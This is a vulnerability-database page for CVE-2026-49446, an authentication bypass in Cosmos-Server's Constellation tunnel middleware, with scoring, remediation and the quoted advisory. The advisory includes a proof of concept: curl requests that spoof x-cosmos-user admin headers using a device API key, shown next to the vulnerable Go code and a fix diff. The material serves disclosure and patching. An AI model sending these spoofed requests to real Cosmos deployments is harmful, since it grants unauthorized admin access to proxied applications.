Skip to main content

Cosmos-Server CVE-2026-49446

| EUVDEUVD-2026-78588 MEDIUM
Improper Authorization (CWE-285)
2026-07-28 https://github.com/azukaar/Cosmos-Server GHSA-2rx5-2g7j-2659
6.1
CVSS 3.1 · Vendor: https://github.com/azukaar/Cosmos-Server
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Get Constellation device API key
  2. Delivery
    Connect to Nebula tunnel
  3. Exploit
    Send request with x-cosmos-user: admin
  4. Execution
    middleware bypasses auth
  5. Impact
    backend accepts spoofed admin identity

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization verification
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires all of: (1) Cosmos deployed with Constellation enabled and at least one enrolled device; (2) attacker holds a valid x-cstln-auth API key for an enrolled device; (3) attacker can reach Cosmos over the Constellation Nebula tunnel (i.e., the attacker's device must have the Nebula profile and be connected to the overlay network); (4) the target proxy route has AuthEnabled=true; (5) the backend application trusts the x-cosmos-user header for authentication (the documented forward-auth integration). Limiting factors: The attack requires prior enrollment as a Constellation device user, meaning the attacker is already an invited party with some level of access, though not necessarily an admin of Cosmos itself. The attack cannot be performed from the public internet without first joining the Nebula network.

Impact

CVSS 6.1 (Medium) with attack vector Adjacent Network (requires access to the Constellation tunnel), Low complexity, High privileges (must have a valid device API key). EPSS score not available but POC is provided. Not listed in CISA KEV. SSVC: Exploitation status - POC available; Automatable - yes (single curl command); Technical impact - partial (confidentiality and integrity impact on backend apps). The risk is significant for deployments using Constellation with enrolled devices and backend apps trusting forward-auth headers, but mitigated by the requirement of a valid device API key (which is issued to invited users). Attackers who are already invited users can escalate to admin on proxied apps.

Exploit ScenarioDerived

An attacker who possesses a valid Constellation device API key sends a request to a backend route protected by Cosmos with x-cosmos-user: admin and x-cosmos-role: 2 headers over the Nebula tunnel. The middleware bypasses JWT and AdminOnly checks, forwarding the spoofed identity to the backend, allowing the attacker to access admin-only functionality without proper authentication. Publicly available exploit code from the advisory demonstrates this single-curl attack.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 28, 2026

Authentication bypass in Cosmos-Server 0.22.18 and earlier allows any holder of a valid Constellation device API key to impersonate any user (including admin) to backend applications by sending crafted x-cosmos-user headers. The tokenMiddleware prematurely returns before stripping these headers when the request originates from the Constellation tunnel, bypassing JWT authentication, MFA, and the AdminOnly access gate. Publicly available exploit code exists but no active exploitation has been reported.

RemediationAI

Upgrade to Cosmos-Server version 0.22.19, which fixes the header stripping order and removes the Constellation bypass for authenticated routes. The advisory is at https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659 and the release at https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19. If immediate upgrade is not possible, consider disabling Constellation or removing device API keys for non-trusted users. Additionally, backend applications should not rely solely on the x-cosmos-user header for authentication without additional verification (e.g., mutual TLS or shared HMAC).

Affected VersionsENISA

Cosmos-Server < 0.22.19

Affected Packages

go github.com/azukaar/cosmos-server fix: 0.22.19
euvd cosmos_server fix: 0.22.19

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the tokenMiddleware function in src/proxy/routerGen.go of Cosmos-Server, a reverse proxy and dashboard written in Go. The affected code handles authentication for proxied routes. The Constellation feature uses a Nebula overlay network for secure remote access, where enrolled devices obtain API keys. The middleware incorrectly checks for the x-cosmos-user header before stripping it; if the request comes from a Constellation IP and carries a valid API key, it forwards the user-supplied headers to backend applications. The root cause is an authorization bypass (CWE-285) where the authentication checks are skipped for Constellation traffic, allowing identity spoofing.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/azukaar/Cosmos-Server) PRIMARY 6.1 MEDIUM
AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 6.1 MEDIUM

Adjacent network required, low complexity, high privileges needed (valid device API key)

3.1 AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
4.0 AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/azukaar/Cosmos-Server).

CVSS VectorVendor: https://github.com/azukaar/Cosmos-Server

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers are stripped at lines 68-72, and before the AdminOnlyWithRedirect gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends x-cosmos-user: admin to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.

Preconditions

  • Cosmos is deployed with Constellation enabled and at least one device enrolled.
  • Attacker holds a valid x-cstln-auth API key for an enrolled device.
  • Attacker reaches Cosmos over the Constellation Nebula tunnel.
  • Target proxy route has AuthEnabled=true; upstream trusts the x-cosmos-user forward-auth header.

Details

go
// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            enabled := route.AuthEnabled
            adminOnly := route.AdminOnly

            // bypass auth if from Constellation tunnel
            if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {  // attacker-set header opens the branch
                remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
                isConstIP := constellation.IsConstellationIP(remoteAddr)
                isConstTokenValid := constellation.CheckConstellationToken(r) == nil

                if isConstIP && isConstTokenValid {
                    utils.Debug("Bypassing auth for Constellation tunnel")
                    r.Header.Del("x-cstln-auth")
                    next.ServeHTTP(w, r)  // forwards x-cosmos-user as set by attacker
                    return
                }
            }

            r.Header.Del("x-cosmos-user")    // only runs on the fall-through path
            r.Header.Del("x-cosmos-role")
            r.Header.Del("x-cosmos-user-role")
            r.Header.Del("x-cosmos-mfa")
            r.Header.Del("x-cstln-auth")
            // ... JWT path runs here ...

            if enabled && adminOnly {
                if errT := AdminOnlyWithRedirect(w, r, route); errT != nil {  // also skipped by bypass
                    return
                }
            }
            next.ServeHTTP(w, r)
        })
    }
}

The branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the x-cosmos-user header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original x-cosmos-user value flows to the backend untouched, and AdminOnlyWithRedirect is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for "Cosmos in front of an app that reads identity from a header") treat the attacker's chosen string as the authenticated identity.

The Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the "invited member -> admin role on a proxied app" line.

Proof of concept

Environment used to reproduce:

  • Version: master branch, audited 2026-05-13 (module github.com/azukaar/cosmos-server)
  • Deployment: docker run azukaar/cosmos-server:latest (or the docker-compose.yml from the project README)
  • Setup steps:
  1. Complete initial setup via /cosmos-ui/; promote the operator account to admin.
  2. Enable Constellation: Settings > Constellation > Create lighthouse.
  3. Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.
  4. Configure one proxy route with Host=admin-app.example, Mode=PROXY, Target=http://internal-app:port, AuthEnabled=true, AdminOnly=true. Upstream must trust the x-cosmos-user header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).
  5. Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.
bash
# 1. Variables - fill in from the steps above
DEVICE_APIKEY="<APIKey shown when admin created the device>"
PROXY_ROUTE="https://admin-app.example"
# 2. Single request that bypasses Cosmos auth and asserts admin to the backend
curl -k \
     -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
     -H "x-cosmos-user: admin" \
     -H "x-cosmos-role: 2" \
     -H "x-cosmos-user-role: 2" \
     -H "x-cosmos-mfa: 0" \
     "$PROXY_ROUTE/" -i
# Expected: HTTP 200 with the admin-gated backend rendering as user "admin".
# No JWT cookie was sent; no admin Cosmos account is held by the caller.
# Cosmos's debug log shows: "Bypassing auth for Constellation tunnel".

A second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:

bash
curl -k \
     -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
     -H "x-cosmos-user: someotheruser" \
     "$PROXY_ROUTE/" -i
# Backend renders as "someotheruser"; any per-user data partitioning at the
# backend is now under attacker control.

Impact

  • AuthN: bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.
  • AuthZ: skips the per-route AdminOnly gate, unlocking admin-only proxied backends.
  • Confidentiality: caller reads every admin-only proxied app as admin from one curl.
  • Integrity: caller performs any admin-tier write the backend exposes via the forward-auth identity.
  • Affected population: every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented x-cosmos-user header.

Suggestions to fix

> _This has not been tested - it is illustrative only._

Strip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the AdminOnly gate on the Constellation path. The branch should only fire for routes that are explicitly AuthEnabled=false - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes x-cosmos-user.

diff
--- a/src/proxy/routerGen.go
+++ b/src/proxy/routerGen.go
@@ -46,15 +46,17 @@
 func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
        return func(next http.Handler) http.Handler {
                return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+                       // Always strip identity headers before any decision based on them.
+                       r.Header.Del("x-cosmos-user")
+                       r.Header.Del("x-cosmos-role")
+                       r.Header.Del("x-cosmos-user-role")
+                       r.Header.Del("x-cosmos-mfa")
+
                        enabled := route.AuthEnabled
                        adminOnly := route.AdminOnly

-                       // bypass auth if from Constellation tunnel
-                       if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {
+                       // Constellation bypass only applies to non-auth routes; on auth-required
+                       // routes the JWT path is the sole authority that may set x-cosmos-user.
+                       if !enabled {
                                remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
                                isConstIP := constellation.IsConstellationIP(remoteAddr)
                                isConstTokenValid := constellation.CheckConstellationToken(r) == nil
@@ -65,12 +67,7 @@
                                        return
                                }
                        }
-
-                       r.Header.Del("x-cosmos-user")
-                       r.Header.Del("x-cosmos-role")
-                       r.Header.Del("x-cosmos-user-role")
-                       r.Header.Del("x-cosmos-mfa")
                        r.Header.Del("x-cstln-auth")

Defence in depth: document that backends downstream of Cosmos must not accept x-cosmos-user over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over <x-cosmos-user, request-id, timestamp> injected by the proxy and verified by the backend.

Regression test: add a unit test against tokenMiddleware asserting that a request bearing x-cosmos-user: admin and a valid x-cstln-auth reaches the next handler with r.Header.Get("x-cosmos-user") "" whenever route.AuthEnabled true.

Threat Intelligence Overview

EPSS Score
0.3%
Top 79% exploitable
Prevalence
Low
niche self-hosted dashboard
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Controlled
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy